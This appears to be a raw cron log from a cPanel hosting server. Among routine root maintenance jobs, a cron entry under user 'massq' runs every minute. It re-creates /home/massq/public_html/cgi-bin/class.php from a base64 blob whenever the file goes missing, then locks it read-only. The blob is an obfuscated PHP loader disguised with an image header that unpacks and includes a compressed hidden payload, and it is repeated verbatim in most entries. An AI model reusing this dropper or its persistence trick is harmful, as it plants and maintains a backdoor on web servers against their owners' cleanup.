Sep 10 15:45:01 server CROND[5998]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:46:01 server CROND[6828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:46:01 server CROND[6829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:46:01 server CROND[6830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:47:01 server CROND[7204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:47:01 server CROND[7205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:47:01 server CROND[7206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:48:01 server CROND[7577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:48:01 server CROND[7578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:48:01 server CROND[7579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:49:01 server CROND[7949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:49:01 server CROND[7950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:49:01 server CROND[7951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:50:01 server CROND[8325]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:50:01 server CROND[8326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:50:01 server CROND[8330]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:50:01 server CROND[8333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:50:01 server CROND[8331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:50:01 server CROND[8332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:50:01 server CROND[8335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:50:01 server CROND[8338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:50:01 server CROND[8336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:51:01 server CROND[9137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:51:01 server CROND[9138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:51:01 server CROND[9139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:52:01 server CROND[9607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:52:01 server CROND[9608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:52:01 server CROND[9609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:53:01 server CROND[9969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:53:01 server CROND[9970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:53:01 server CROND[9971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:54:01 server CROND[10406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:54:01 server CROND[10405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:54:01 server CROND[10407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:55:01 server CROND[10791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:55:01 server CROND[10792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:55:01 server CROND[10795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:55:01 server CROND[10796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:55:01 server CROND[10801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:55:01 server CROND[10798]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:55:01 server CROND[10797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:56:01 server CROND[11628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:56:01 server CROND[11629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:56:01 server CROND[11630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:57:01 server CROND[12103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:57:01 server CROND[12104]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:57:01 server CROND[12105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:57:01 server CROND[12107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:58:01 server CROND[12499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
